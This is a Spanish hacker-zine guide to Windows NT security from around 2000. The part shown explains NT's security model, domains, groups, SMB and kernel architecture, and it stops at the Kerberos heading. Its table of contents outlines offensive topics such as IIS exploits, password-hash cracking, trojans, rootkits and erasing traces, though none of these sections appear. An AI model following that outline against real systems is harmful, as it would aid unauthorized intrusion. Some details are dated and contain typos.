La biblia del hacker de NT

Tahum


El documento se ha dejado con el tipo de presentación original de Tahum.


-[ 0x05]--------------------------------------------------------------------

-[ La Biblia del Hacker de NT ]----------------------------------------------

-[ by Tahum ]---------------------------------------------------------SET-24-

 

 

 

La biblia del hacker de NT

Version del documento: 1.2

 

 

* By Tahum, Tahum@phreaker.net

* Primera version: 15/12/00

* Ultima actualizacion: 17/1/01

 

 

 

Indice del documento:

 

 

Parte I, primeros contactos

---------------------------

 

- Prologo ....................................................... 0

- Nociones basicas .............................................. 1

- Que es Windows NT? .......................................... 1.1

- Historia de Windows NT ...................................... 1.2

- Modelo de seguridad ......................................... 1.3

- Funcionamiento de una red NT ................................ 1.4

- Dominios .................................................... 1.5

- Grupos y permisos ........................................... 1.6

- Protocolo SMB ............................................... 1.7

- Porque la gente escoge NT? .................................. 1.8

- Sus distintas versiones ..................................... 1.9

- Su futuro ................................................... 1.10

- Arquitectura del sistema ...................................... 2

- Subsistemas protegidos ...................................... 2.1

- El executive ................................................ 2.2

- Llamadas a procedimientos ................................... 2.3

- Diferencias entre NT 4 y W2000 ................................ 3

- Active Directory ............................................ 3.1

- DNS Dinamico ................................................ 3.2

- Estandar Kerberos ........................................... 3.3

- Mejoras en el NTFS .......................................... 3.4

- Resumen ....................................................... 4

 

 

 

Parte II, agujeros del sistema

------------------------------

 

- Introduccion a NetBIOS ........................................ 5

- Historia de NetBIOS ......................................... 5.1

- Conceptos sobre NetBIOS ..................................... 5.2

- Comandos NET ................................................ 5.3

- Vulnerabilidades de NetBIOS ................................. 5.4

- NAT ....................................................... 5.4.1

- IPC$ ...................................................... 5.4.2

- Conclusion sobre NetBIOS .................................... 5.5

- Vulnerabilidades WEB .......................................... 6

- Vulnerabilidades en IIS ..................................... 6.1

- Escapando del arbol de web: Unicode's bug ................. 6.1.1

- IISHACK ................................................... 6.1.2

- Hackeandolo via user anonymous ............................ 6.1.3

- Hackeandolo via IISADMIN .................................. 6.1.4

- Ejecucion de comandos locales MSADC ....................... 6.1.5

- El bug de los .idc y .ida ................................. 6.1.6

- Viendo el codigo de los .asp y de demas ficheros .......... 6.1.7

- El bug del punto en .asp ................................ 6.1.7.1

- El bug del +.htr ........................................ 6.1.7.2

- El bug de Null.htw ...................................... 6.1.7.3

- El bug de ISM.DLL ....................................... 6.1.7.4

- El bug de Showcode y Codebrws ........................... 6.1.7.5

- El bug de webhits.dll y los ficheros .htw. .............. 6.1.7.6

- El bug del ::$DATA ...................................... 6.1.7.7

- El bug de Adsamples ..................................... 6.1.7.8

- El bug de WebDAV ........................................ 6.1.7.9

- Conclusion a IIS .......................................... 6.1.7.10

- Vulnerabilidades de Frontpage ............................... 6.2

- DoS a las extensiones ..................................... 6.2.1

- Otro DoS a las extensiones gracias a Ms-Dos ............... 6.2.2

- Scripting con shtml.dll ................................... 6.2.3

- Otra vez las extensiones .................................. 6.2.4

- Conclusion a Frontpage .................................... 6.2.5

- El registro ................................................... 7

- Estructura del registro ..................................... 7.1

- Vulnerabilidades del registro ............................... 7.2

- Conclusion sobre el registro ................................ 7.3

- Desbordamientos de pila en NT ................................. 8

- Shellcodes .................................................. 8.1

- BOFS ........................................................ 8.2

- SAM ........................................................... 9

- Analisis de las SAM ......................................... 9.1

- Crackeandolas ............................................... 9.2

- Herramientas de control remoto ................................ 10

- Software comercial .......................................... 10.1

- Citrix .................................................... 10.1.2

- ControlIT ................................................. 10.1.3

- Pc Anywhere ............................................... 10.1.4

- Reach OUT ................................................. 10.1.5

- Remotely Anywhere ......................................... 10.1.6

- Timbuktu .................................................. 10.1.7

- VNC ....................................................... 10.1.8

- Troyanos .................................................... 10.2

- Pros y contras ............................................ 10.2.2

- Comparativa ............................................... 10.2.3

- Resumen sobre las herramientas de control remoto ............ 10.2.4

- Rootkits ...................................................... 12

- Resumen ....................................................... 13

 

 

 

Parte III, Hacking fisico de NT

-------------------------------

 

- Iniciacion .................................................... 14

- Consiguiendo acceso ........................................... 15

- Saltandose la BIOS .......................................... 15.1

- Obteniendo las SAM ............................................ 16

- Asegurando la estancia ........................................ 17

- Borrando las huellas .......................................... 18

- Resumen ....................................................... 19

 

 

 

Parte IV, Hacking remoto de NT

------------------------------

 

 

- Enumeracion de fallos ......................................... 20

- Incursion en el sistema ....................................... 21

- Asegurando nuestra estancia ................................... 22

- Borrado de huellas ............................................ 23

- Conclusiones .................................................. 24

 

 

Parte V, Apendice y conclusion final

------------------------------------

 

- Apendice ...................................................... 25

- Webs ........................................................ 25.1

- Listas de correo ............................................ 25.2

- Grupos de noticias .......................................... 25.3

- Demas documentos en la red .................................. 25.4

- Bibliografia ................................................ 25.5

- Herramientas .................................................. 25.6

- Ultimas palabras y conclusion final ........................... 26

 

 

-=-

 

 

 

Parte I - Primeros contactos

============================

 

 

 

[ 0 - Prologo ]

-------------

Bienvenido.

He creido necesario el escribir esta guia debido a la falta de una guia

solida de hack en NT en espa~ol que este actualizada. Me he encontrado con

cantidad de textos que explican determinados bugs de NT, o ciertos aspectos

de este en concreto, pero tan solo he visto un par de documentos en los que

se tratara la seguridad de NT globalmente.

Asi pues, un buen dia de agosto del 2000, me decidi a escribir una guia

que cubriera ese hueco; y atropellando mi modestia, diria que se ha logrado.

Si quereis mandarme vuestra opinion del documento, me la podeis mandar a mi

e-mail y tratare de responderla lo mas brevemente posible. Agradeceria que

usaseis PGP para cifrar vuestros mensajes... mi llave PGP la encontrareis al

final del documento.

En fin, no me quisiera hacer demasiado pesado ya en la introduccion...

que aun os queda por leer el resto del documento.

Disfruta.

 

 

 

[ 1 - Nociones basicas ]

----------------------

 

Para seguir la guia tendremos que tener unas nociones sobre NT que puede

que no tengamos, y que nos seran necesarias para comprender el resto de la

guia.

 

 

 

[ 1.1 - Que es Windows NT? ]

--------------------------

 

Es El sistema operativo de red desarrollado por Microsoft, como respuesta

al crecimiento en el mercado de redes locales. A diferencia de Windows

3.1, que funciona sobre MS-DOS (y por lo tanto sobre su FAT de 16 bits) y

Windows '95, que utiliza una tabla de asignacion en disco, NT realiza el

seguimiento de archivos con el sistema NTFS (NT file system), sistema que es

El nucleo de los niveles de control de acceso a la informacion del servidor,

y responsable de la estructura de seguridad en NT. Eso no quiere decir que

no pueda usar FAT, como su hermano peque~o Windows 9x o millenium, sin

embargo NT cumple mejor los requisitos de seguridad con NTFS.

Es un SO realmente facil de instalar y configurar, por lo que poner en

marcha un servidor corriendo por NT es cosa de ni~os, por su interfaz

intuitiva y la ayuda incorporada que lleva.

Es un sistema robusto (no se cuelga facilmente como Win9x), seguro (el

modelo de seguridad que veremos mas adelante lo demuestra), y quiza lo unico

en lo que se queda un poco atras es en los recursos que requiere para que

funcione decentemente.

 

 

[ 1.2 - Historia de Windows NT ]

------------------------------

 

En un principio, Microsoft pensaba hacer cambiar a los usuarios de

Windows 3.11 (o Windows para trabajo en grupo) a Windows NT, una decision

muy arriesgada por su parte, por la diferencia de interface que existia

entre ambos sistemas operativos, y demas cambios que harian que el usuario

tenga que estudiar otro sistema operativo completamente nuevo, con el tiempo

que conlleva eso.

Windows NT salio a la luz, y sus ventas eran muy bajas, pasando sin pena

ni gloria ante el mercado de servidores.

Debido a eso Microsoft decidio sacar a la luz lo que seria el boom en los

sistemas operativos para usuarios domesticos: Windows '95. Habia nacido un

sistema operativo que haria historia, por las funciones nuevas que

incorporaba respecto a Win 3.1, por estar mas enfocado a Internet y por su

tremenda facilidad de uso. Seria un trabajo perfecto el de los chicos de

Microsoft sino fuese porque era un sistema muy inestable, se colgaba cuando

se exigia unos recursos medianos a la maquina, al reconocer hardware, etc.

Todo El mundo hablaba de Windows '95, unos decian que era maravilloso,

otros que era una chapuza... opiniones para todos los gustos.

La gente se veia forzada a migrar a Windows '95, pues la mayoria de

aplicaciones, juegos, etc. se encontraban exclusivamente para W95... por lo

que Win 3.1 y Win 3.11 quedaron en el olvido.

Ahora si, la gente no tenia excusa para no aprender a usar Windows NT,

pues su interfaz era identica a la de Windows '95, y se veia de lejos que

era El sistema que se iba dominar el mercado en un futuro cercano...

De esa forma y gracias a una campa~a de marketing arrogante, Microsoft

comenzo a ganar terreno estrepitosamente, y lo sigue ganando.

Hoy por hoy tenemos Windows 2000 Server, Advanced Server, y Datacenter

como sistemas operativos de servidor (los cuales veremos mas adelante), los

sucesores de NT 4, y que por comodidad son llamados muchas veces NT 5.

 

 

 

[ 1.3 - Modelo de seguridad ]

---------------------------

 

El modelo de seguridad de NT protege cada uno de los objetos de forma

individual, casa uno con sus propios atributos de seguridad. La ACL (access

Control List o Lista de Control de acceso) especifica los usuarios y grupos

que pueden acceder a un determinado objeto y que privilegios tienen sobre

el.

Dicho modelo de seguridad esta formado por 4 componentes:

- Local Security Authority (Autoridad de seguridad local)

- SAM: Security Account Manager (Administrador de seguridad de cuentas)

- SRM: Security Reference Monitor (Monitor de referencia de seguridad)

- UI: User Interface (Interfaz de usuario)

Seguramente no os debe haber quedado muy claro cada componente del modelo

de seguridad asi que vamos a explicar cada uno:

 

 

* Local Segurity Authority (Autoridad de seguridad local)

-------------------------------------------------------

 

Es El componente central de la seguridad en NT. Este se encarga de

controlar la directiva local de seguridad y la autentificacion de los

usuarios, y de generar y registrar los mensajes de auditoria. Tambien se

le suele llamar subsistema de seguridad. Se encarga del trabajo mas

administrativo del sistema de seguridad.

 

 

* Seccurity Account Manager (Administrador de seguridad de cuentas)

-----------------------------------------------------------------

 

Este se encarga del control de las cuentas de grupo y de usuario, ademas

de proporcionar servicios de autentificacion de usuario para la autoridad

de seguridad local.

 

 

* Security Reference Monitor (Monitor de referencia de seguridad)

---------------------------------------------------------------

 

Este se encarga de la validacion de acceso y de la auditoria para la

autoridad de seguridad local. Comprueba las cuentas de usuario mientras

El usuario intenta acceder a los archivos, directorios, etc. y les

permite o deniega las peticiones del usuario. Ademas genera mensajes de

auditoria dependiendo de las decisiones que el usuario tome. Contiene una

copia del codigo de validacion de acceso para asegurar que el Monitor de

referencia protege los recursos de forma uniforme en todo el sistema,

independientemente del tipo de recurso.

Quiza esto ultimo no haya quedado claro, me explico. Cada vez que te

logueas en NT, pasado el proceso de autentificacion, tu nombre de usuario

es relacionado con un numerito. Y asi con todos los usuarios del sistema.

De manera que cuando quieras acceder a un archivo/carpeta/unidad, se crea

un sujeto. El sujeto contiene 2 elementos: Tu numero identificativo, el

objeto al que quieres acceder. El SRM es el encargado de dar el visto

bueno o no a la peticion, para lo cual mirara las ACE (las entradas de

control de acceso), y si figura tu nombre de usuario, puedes acceder, de

lo contrario se te mostrara un mensaje de error. Se vera mejor con un...

Ejemplo de como el usuario Tahum accede a el archivo foo.exe:

 

C:\> call archivos\foo.exe

 

( Ahora es cuando el SRM mira mi elemento y mira las ACE del objeto que

he llamado, en este caso foo.exe. )

Sujeto

.----.----------.

| 15 | foo.exe |

`----^----------'

 

( Como el usuario Tahum tiene derechos de ejecucion en foo.exe, se crea

El sujeto satisfactoriamente. )

 

Pues como se ve el SRM juega un papel muy importante en la seguridad de

NT. No es de extra~ar que sea el objetivo primordial de varios rootkits.

 

 

* User Interface (Interfaz de usuario)

------------------------------------

 

Es lo que el usuario ve, lo puramente visual. No requiere una mayor

explicacion.

 

 

Bueno, vistos ya los componentes del modelo de seguridad pasamos a tratar

otros aspectos referentes a la seguridad en NT.

 

NT admite niveles de acceso para cada grupo, de manera que el grupo

"Gente humilde" solo tuviera acceso de lectura a la carpeta "Dinero", el

grupo "Causas nobles" no tuviera ningun privilegio sobre esa carpeta y el

grupo "Iglesia" tuviera todos los derechos sobre ella.

 

Si este recurso fuera un recurso compartido _administrativo_ mostraria un

$ al final del nombre del objeto, por ejemplo dinero$.

 

Una cosa buena que tiene WinNT es que si por ejemplo el usuario "Cura"

crea un archivo llamado "Cuenta de ahorros en suiza", y se le olvida definir

sus atributos de seguridad, solo el sera el unico que pueda acceder al

archivo, anulando cualquier privilegio sobre los demas grupos y usuarios

(exceptuando los administradores), por lo que solo el podra acceder a ese

archivo.

 

Windows NT es ampliable, de manera que los programas pueden a~adir nuevos

modelos de seguridad con caracteristicas de seguridad nuevas, lo que ayudara

a mejorar la seguridad sin tener que reescribir de nuevo el modelo de

seguridad.

 

 

 

[ 1.4 - Funcionamiento de una red NT ]

------------------------------------

 

En una red NT puede haber varios servidores cumpliendo cada uno funciones

distintas. Eso no significa que tenga de haber 3 servidores en una red para

que la red funciona, como veremos a continuacion.

Las funciones que pueden desempe~ar los servidores con NT Server (o W2000

Server) son las siguientes:

PDC: Son las siglas de Primary Domain Controller, o lo que es lo mismo

controlador primario del dominio. Este es el servidor que mantien el

dominio, el mas importante por decirlo de alguna manera.

En este servidor se mantienen las bases de datos de los usuarios de

la red.

Solo puede haber un PDC en la red.

BCD: Siglas de Backup Domain Controller, o controlador de respaldo de

dominio. Este es el servidor que hara la funcion de PDC en caso de

que El PCD se encontrara no operativo. Asimismo tambien se encarga

de autentificar a los usuarios junto al PCD, para mayor seguridad.

En un dominio es muy normal encontrarse con varios BDC.

Member Server: Este servidor no tiene una funcion especial, el uso que se

le de depende de nosotros; y no interviene el el

funcionamiento del dominio.

 

Para que todo quede claro metere un peque~o ejemplo de una red NT

marcando las funciones de cada miembro de la red.

 

 

.---------. .---------. .---------. ||

.-------. | .-------. | .----------. |===================::

| | | | | | | | |

| PDC | | | BDC | | | MEMBER | |

| | | | | | | SERVER | |

| | | | | | | | |

| o |----' | o |----' | o |----'

| | | | | |

`-------'=======`-------' `----------'

|| ||

|| Peticion1 ||

|| ||

|| ||

|| ||

|| ||

`:====. .==========================:'

.-------.

| | Explicacion de lo aqui mostrado.

.-----------. |

| | o | Como se ve los servidores de la red ofrecen distintos

| Cliente | | tipos de servicios al cliente. Aqui podemos ver como

| |----' el cliente hace una peticion al PDC, en este caso de

| | autentificacion. El PDC comprueba que el usuario este

| | en la ACE (Entrada de Control de Acceso) y que su

`-----------' contrase~a es correcta. Para eso se vale tambien del

BDC, para cerciorarse de que los datos son correctos.

Luego se le deja pasar y hace una peticion al member

server, el cual hace de proxy y dirige los paquetes

a su destino.

 

 

 

[ 1.5 - Dominios ]

----------------

 

Hasta ahora se ha nombrado el termino "dominio" en las descripciones ya

vistas, pero el concepto de dominio es mas amplio, y merece una explicacion

mas extensa.

Un dominio se podria definir como un conjunto de ordenadores que

comparten entre si unas caracteristicas comunes en lo referente a accesos.

Un usuario registrado en un dominio con un login y un pass puede acceder a

todos los servidores de dicho dominio utilizando el mismo l/p.

Cabe decir que en un dominio hay servidores y clientes o estaciones de

trabajo por norma general.

Cuando el administrador del dominio da de alta a un nuevo usuario, lo

hace sobre el controlador primario del dominio (PDC). Los datos de este

nuevo usuario (login, pass, comentarios, especificaciones de la

contrase~a...) se agregan a un archivo llamado SAM, que lo tiene cualquier

servidor NT, y que seria el equivalente al archivo passwd en u*x, con

algunas diferencias que veremos mas adelante.

Como antes dije el BDC actua de respaldo por si el PDC dejara de estar

operable, por lo que el PDC le tiene que mandar una copia del SAM de manera

periodica. Esto automatiza en gran parte la tarea del administrador.

El proceso de replicar el archivo SAM desde el PDC a todos los BDC de la

red de denomina replicacion.

Ahora empieza lo interesante, el como se relacionan los dominios. A la

hora de administrar una red NT es necesaria la relacion de confianza entre

distintos servidores, o servidor - cliente, para realizar una tarea

administrativa mas sencilla y eficiente.

Es importante saber asignar correctamente los permisos entre dominios.

 

 

[ 1.6 - Grupos y permisos ]

-------------------------

 

En NT el concepto de grupo y usuario es el mismo que en otros sistemas,

sin embargo existen variantes que veremos a continuacion:

 

- Usuarios locales: Estos usuarios tienen acceso a las maquinas en las que

fueron creados. Estos fueron creados en el

administrador de usuarios.

- Usuarios del dominio: Estos usuarios tienen acceso al dominio y a los

recursos que en el se comparten. Estos fueron

creados por el administrador de usuarios de

Dominio.

- Grupos locales: Estos grupos estan formados por usuarios de un mismo

dominio, y solo pueden ser vistos desde ese dominio.

- Grupos globales: Como los anteriores con la diferencia de que pueden ser

vistos desde todos los dominios en los que tenga una

relacion de confianza. Lo unico que cambia es que a este

grupo lo podran ver desde otros dominios.

 

Veamos ahora los grupos que se instalan por defecto en NT:

 

Administradores: Los dioses del sistema, lo pueden hacer todo, al igual

que El root en u*x.

Invitados: Pues estos en principio estan restringidos a un directorio, y

con unos privilegios muy escasos (aunque recuerdo una

universidad con permisos de escritura para los invitados... ver

para creer).

Operadores de copia: Estos pueden sobreescribir restricciones de seguridad

con El unico proposito de hacer copias de seguridad o

restaurar ficheros.

Reduplicadores: Estos solo tienen privilegios para copiar ficheros, para

hacer copias de seguridad.

Usuarios: Los usuarios comunes con privilegios restringidos. Pueden

utilizar el sistema y guardar archivos, pero no pueden instalar

programas o hacer cambios potencialmente peligrosos para el

sistema de archivos y la configuracion.

Usuarios avanzados: Usuarios del sistema con altos privilegios. Estos

tienen mas privilegios que los usuarios, ya que ademas

pueden instalar programas y modificar el equipo. Sin

embargo no pueden leer archivos que sean de otros

usuarios.

Estos son los grupos que se instalan por defecto en NT5, en NT4 hay mas

grupos como los operadores de impresion pero veo innecesario explicarlos ya

que aparte de que no necesiten explicacion (operador de impresion por

ejemplo no necesita comentarse) se encuentran en muy pocos sistemas...

 

 

 

[ 1.7 - Protocolo SMB ]

---------------------

 

He querido darle la importancia que se merece a este protocolo, llamado

Server Message Block (en espa~ol Bloque de mensaje de Servidor), por vagueria

llamado SMB, el cual es interesante porque permite que los usuarios accedan

a los recursos compartidos, al registro, y a otros servicios del sistema de

forma _remota_.

Los usuarios que se comunican con el servidor mediante el protocolo SMB

pueden acceder a cualquier servicio al que pueda acceder un usuario que se

comunique con NetBIOS.

Se pueden establecer permisos SMB en archivos, directorios compartidos,

llaves del registro, e incluso impresoras.

En El nivel de sesion SMB, NT controla el acceso mediante nombres de

usuario y contrase~as (la cuenta invitado no tiene contrase~a).

 

 

 

[ 1.8 - Porque la gente escoge NT? ]

----------------------------------

 

Basicamente por 3 motivos. Uno es la sencillez con la que se usa y

administra NT... sin embargo y pese lo sencillo que es es muy frecuente

encontrar un NT mal configurado.

Otra es que tiene servicio tecnico, por lo que en caso de que surja algun

imprevisto no tienen mas que llamar al servicio tecnico de la casa Microsoft

para solucionar el problema. Esto ofrece una gran tranquilidad a algunos

administradores de NT que asi se ahorran el tener que leer esos manuales que

venian con el programa...

Esto da que pensar acerca de la preparacion profesional de algunos admins

de NT.

 

 

 

[ 1.9 - Sus distintas versiones ]

-------------------------------

 

Ahora veamos las distintas versiones de W2K y su equivalente a sus

antiguas versiones en NT.

Windows 2000 Professional equivale a Windows NT 4 Workstation. Es la

version destinada al usuario que desea trabajar con la robustez que NT

ofrece pero no necesita cumplir funciones de servidor.

Windows 2000 Server es el equivalente a Windows NT 4 Server. Es la

version para servidores de redes peque~as/medianas. Basicamente es como la

version anterior pero com mas herramientas administrativas y unas capas de

maquillaje al entorno. Osea que cambiando unas pocas llaves del registro y

metiendole las herramientas administrativas de W2K Server haces de la

version Professional una version Server.

Windows 2000 Advanced server equivaldria a Windows NT 4 Enterprise

Server, con algunas diferencias mas o menos significativas pero es la

version con la que se corresponderia. Esta es la version para redes

considerablemente grandes.

Windows 2000 Datacenter no se corresponderia con ninguna version anterior

de NT, y es la mas bestia de toda la gama de W2K, ya que esta preparada para

servidores con unas caracteristicas que quitan el sentido a cualquiera (solo

decir que soporta 32 microprocesadores y 16 gb de memoria).

 

 

 

[ 1.10 - Su futuro ]

------------------

 

El futuro que le espera a NT no puede ser mas alentador. Dia a dia NT

gana terreno en el mercado de sistemas operativos de red. Incluso esta

amenazando seriamente el mercado de LiNUX en el terreno de servidores, pese

a que estos dominen actualmente el mercado.

 

 

 

[ 2 - Arquitectura del sistema ]

------------------------------

 

Vistas ya las nociones basicas, pasamos a estudiar la arquitectura del

sistema de nt; algo que no es tan basico, pero tened en cuenta de que lo que

un programador puede hacer para NT con esta informacion tampoco es nada

basico.

Si de momento no pretendeis programar bajo WinNT, no necesitareis

entender esta parte.

Cabe destacar que gran parte de la informacion que he metido en esta

seccion esta basada en dos libros en concreto y una web, la web de proyecto

enete.

 

 

 

[ 2.1 - Subsistemas protegidos ]

------------------------------

 

Los subsistemas protegidos son una serie de procesos servidores que se

ejecutan en modo NO privilegiado (como los procesos de usuario), los cuales

poseen algunas caracteristicas que los diferencian de estos.

Primero veamos que significan esos palabros tan raros como "procesos

servidores", "modo no privilegiado", y demas tecnicismos.

Esto no es nada del otro mundo, pero para entenderlo veamos algunos

aspectos de NT que son necesarios para entender la explicacion. Espero no

irme por las ramas...

La arquitectura de NT distingue de dos tipos de nucleo... uno llamado

'Executive' (o administrativo) y otro llamado 'subsistema protegido'. A los

modulos de kernel executive se les llama modulos ejecutados en modo

privilegiado. Se dice privilegiado por las funciones que puede cumplir. Y a

los modulos ejecutados en modo no privilegiado se les llama subsistemas

protegidos. Espero haya quedado clara la definicion de modo no privilegiado

y modo privilegiado... si es asi prosigamos.

Definamos ahora "procesos servidores". Hemos de saber que NT entiende a

los programas como clientes del SO, clientes que el propio SO debe de

servir. Para esto NT viene equipado con varias entidades servidoras.

Y por ultimo repasemos el conpecto de subsistemas protegidos con otras

palabras para que no queden dudas. Son una seria de procesos servidores

ejecutados en modo no privilegiado.

Estos se inician al arrancar NT, y puede haber dos tipos: los integrales

y los de entorno.

Pues por muy pesado que se haga esto tengo que seguir con las

definiciones. Un subsistema integral es aquel servidor que ejecuta una

funcion muy importante en el SO, como por ejemplo el que gestiona el tema de

la seguridad. Lo de integral pensad que es por aquello de que es esencial

para El SO.

Los subsistemas de entorno son los que dan respaldo a los programas

provinentes de sistemas operativos diferentes, adaptandolos para que puedan

ser ejecutados en NT. Nos encontramos 3 de este tipo:

 

 

 

-[ S u b s i s t e m a s d e e n t o r n o ]-

 

 

* Win32

-----

Este es el principal, es el que proporciona la interfaz para los

programas especificamente programados para NT. Sin embargo sus funciones

van mas alla, pues no solo se encarga de los programas exclusivamente

para NT, sino tambien interpreta los fabricados para otros sistemas

operativos de la misma casa, como las hechas para DOS, Win9x e incluso

Win 3.11 e inferiores. Para ello crearia un nuevo subsistema protegido

para cada una de ellas. En caso de que el programa que tenga que

interpretar sea de Dos o Windows 3.11 o inferior, asi el subsistema

creado se llamaria VDM, siglas de Virtual DOS Machine, o maquina virtual

DOS. Este no es mas que un _simulador_ del DOS, no el DOS en si. Para

Win 3.11 e inferiores las llamadas al API (Application Program Interface,

o programa de aplicacion de interfaz. Esta es la parte del sistema

operativo que provee a las aplicaciones una interfaz de uso comun) de

Win16 son asociadas con las del API Win32, lo que se llama WOW (Windows

On Win32). Este subsistema se encarga de todo lo relacionado con la GUI

(Graphical User Interface, o interfaz de usuario grafica), teniendo el

control de las entradas del usuario y las salidas del programa.

 

 

* POSIX

-----

 

Son las siglas de Portable Operating System Interface for UNIX. Este es

el que da soporte a las aplicaciones Unix (y derivados de esta). Esta

norma se elaboro por la IEEE (Instituto Of Electric And Electronic

Engineers, o en espa~ol Instituto de Ingenieros en electricidad y

electronica) con el fin de lograr la portabilidad de los programas en

distintos entornos Unix. Es un conjunto de 23 normas, las cuales son

identificadas con nombres desde IEEE 1003.0 a IEEE 1003.22, o lo que es

lo mismo POSIX.0 a POSIX.22. De todas estas el subsistema posix de NT tan

solo soporta 1, la POSIX.1, la cual define un conjunto de llamadas al

sistema en el lenguaje C. Este subsistema tambien sirve las llamadas

interactuando con el Executive. Aparte de eso define aspectos del

sistema Unix que ayudan a definirlo mejor, como son las relaciones

jerarquicas entre los procesos padres e hijos.

 

 

 

* OS/2

----

 

Pues igual pero este da soporte a las aplicaciones del OS/2. Suministra

la interfaz grafica y las llamadas al sistema, cuyas llamadas son

servidas con la ayuda del executive.

 

 

 

-[ S u b s i s t e m a s i n t e g r a l e s ]-

 

 

* Proceso de inicio

-----------------

Este proceso (tambien llamado Logon Process), recibe las peticiones de

conexion por parte de los usuarios. No es uno sino dos procesos, y cada

uno se encarga de un tipo distinto de conexion. Uno es el proceso de

inicio local, que es el que gestiona la conexion de usuarios locales

directamente a un ordenador NT, y el otro es el proceso de inicio remoto,

el cual es el encargado de gestionar las conexiones de los usuarios

remotos a procesos servidores de NT. Sino teneis claro lo de procesos

servidores mirar la explicacion dada mas arriba.

 

 

* Seguridad

---------

 

El subsistema de seguridad realiza un papel muy importante, ya que

interacciona con el proceso de inicio y el monitor de referencias de

seguridad, contruyendose el modelo de seguridad de NT. Este subsistema

interactua con el proceso de inicio, atendiendo las peticiones de acceso

al sistema. Dicho subsistema cuanta con dos componentes: la autoridad de

seguridad local y el administrador de cuentas, los cuales vimos mas

arriba.

 

 

 

[ 2.2 - El executive ]

--------------------

 

Vistos las dos clases de subsistemas protegidos, pasamos a ver el

nucleo ejecutado en modo privilegiado, sin restriccion alguna, el executive.

Definiremos al Executive como un conjunto de programas que se ejecutan

en modo privilegiado. Aqui explicaremos cuales son y para que sirven esos

programas.

Destacar que el executive _NO_ es el nucleo de NT, sino que el nucleo

de NT es uno de los programas componentes de este.

Seguramente a algunos les resultara incomodo ver como me dirijo a un

conglomerado de aplicaciones software (valga la rebuznancia) como programas.

Por comodidad y por que significa lo mismo me dirijo a ellos como programas.

Supongo que eso no molestara a nadie.

Veamos de que se compone el executive mas a fondo:

 

 

* Object Manager

--------------

 

El Object Manager (o administrador de objetos) es el encargado de crear,

gestionar y eliminar todos los objetos del Executive.

 

 

* Process Manager

---------------

 

El administrador de procesos se encarga de crear, gestionar y eliminar

los procesos y subprocesos. De esta manera subministra el tiempo de CPU

adecuado para cada subproceso.

 

 

* Virtual Memory Manager

----------------------

 

En espa~ol administrador de memoria virtual. Gestiona la memoria en el

sistema, determina los bloques de trabajo de cada proceso, entre otros

aspectos relacionados con la politica de gestion de la memoria.

 

 

* LPC Facility

------------

 

En espa~ol facilidad de llamada a procediciento local. Gestiona la

recepcion y el envio de las llamadas a procedimiento local entre las

aplicaciones cliente y los subsistemas protegidos.

 

 

* I/O Manager

-----------

 

El administrador de entrada salida consta de bastantes subcomponentes,

como El administrador del sistema de ficheros, el administrador de caches,

los drivers de dispositivo del sistema y el administrador de caches.

Basicamente su funcion es la de gestionar la comunicacion entre los

distintos drivers de un dispositivo.

Este trabaja en conjunto con otros componentes del Executive, sobre todo

el VMM.

No vamos a explicar en detalle la funcion de todos los subcomponentes,

para ello revisar el apendice donde se os remite a lugares con mucha

informacion sobre este tema.

 

 

* El monitor de referencias a seguridad

-------------------------------------

 

Ya lo hemos explicado anteriormente

 

 

* El kernel

---------

 

He aqui el nucleo, el "alma mater" de NT. Como veis es un componente mas

dEl executive, y no el executive en si. Esto es porque no se quiso

sobrecargar de funciones.

Se encarga de las funciones mas basicas, como la ejecucion de

subprocesos, el manejo de las interrupciones hardware, entre otras cosas.

 

 

* Hal

---

 

Y aqui tenemos al tan famoso Hal. Sus siglas significan Hardware

Abstraction Layer, que en espa~ol equivale a nivel de abstraccion de

hardware. Es la interfaz existente entre los drivers y NT. Es capaz de

adaptar los drivers a otras arquitecturas de entrada/salida, sin tener que

ser demasiado modificados.

 

 

 

[ 2.3 - Llamadas a procedimientos ]

---------------------------------

 

Como ya sabeis NT posee una arquitectura de tipo cliente-servidor. Por

eso NT viene equipado con un mecanismo de llamada a procedimiento remoto y

otro para los procedimientos de llamada local.

Voy a intentar explicar cada uno de ellos lo mas brevemente posible,

dando una vision general de lo que son. No me adentrare mas sencillamente

porque el tema se complica lo suyo, y lo que pretendo es dar una idea

general, que os hagais una idea.

Por supuesto si quereis saber mas, podeis pasaros por el apendice, donde

encontrareis referencias a sitios/documentos donde poder documentaros mas.

 

 

* Local Procedure Call

--------------------

 

En espa~ol llamada a procedimiento local. Este tipo de procedimiento es

usado cuando un proceso requiere los servicios de algun subsistema

protegido, normalmente el subsistema Win32.

 

 

* Remote Procedure Call

---------------------

 

Igual que el anterior pero al contrario de este este se efectua

remotamente, accediendo a las funciones de los procesos servidor desde un

proceso cliente de manera transparente para el usuario.

 

 

 

[ 3 - Diferencias entre NT4 y W2000 ]

-----------------------------------

 

Es hora de ver que diferencias existen entre estas distintas versiones de

NT. Muy pocos administradores que usan NT4 o W2000 server (o cualquiera de

sus variantes orientadas a servidores) no tienen claro que tiene de nuevo

W2000 (a partir de ahora W2K) sobre NT4. Te diran que es mas seguro, que es

mas robusto, Aunque no se sepa bien porque. Pasamos a ver los aspectos

a destacar mas relevantes.

 

 

 

[ 3.1 - Active Directory ]

------------------------

 

No podia ser de otra manera, que empezando por uno de los cambios mas

destacables, la aparicion del Active Directory.

En la traduccion al espa~ol nos quedaria Directorio Activo, que por

decir, no dice mucho. Es el nuevo servicio de directorios para W2K. Aqui se

almacena la informacion sobre los recursos de la red y ademas provee los

servicios que hacen que la tarea de administracion se simplifique de manera

notable.

Este servicio esta basado en DNS (Domain Name Server) y LDAP (Lightweight

Directory Access Prococol).

De momento solo se ha encontrado un solo bug del Active Directory

(octubre del 2000), por lo que parece que los chicos de MS se han molestado

mas que de costumbre en el tema de la seguridad.

 

 

 

[ 3.2 - DNS Dinamico ]

--------------------

 

Esta nueva caracteristica logra que a cada maquina se le reconozca no por

su nombre netbios sino por su nombre DNS.

Es decir lo usara para resolver o traducir nombres de ordenadores a

direcciones IP. Tambien lo usa como su servicio de nombres de dominio.

Ventaja? pues que se usa el nombre para los dominios de inet y tus

ordenadores del dominio.

Sin embargo de dinamico poco vemos aqui, y es que aun no he explicado el

meollo de la cuestion. Lo de dinamico viene a la caracteristica de asignar

a los ordenadores clientes con ip's asignadas automaticamente los servicios

DNS. de ahi lo de dinamico.

Para quien se pregunte si se van a suprimir los nombres netbios por esta

nueva caracteristica, que sepa que no. Como ya es costumbre en NT, se

mantienen la compatibilidad con facetas anteriores (lo que hace a NT mas

debil conservando aspectos poco seguros).

 

 

 

[ 3.3 Estandar Kerberos ]

-----------------------

 

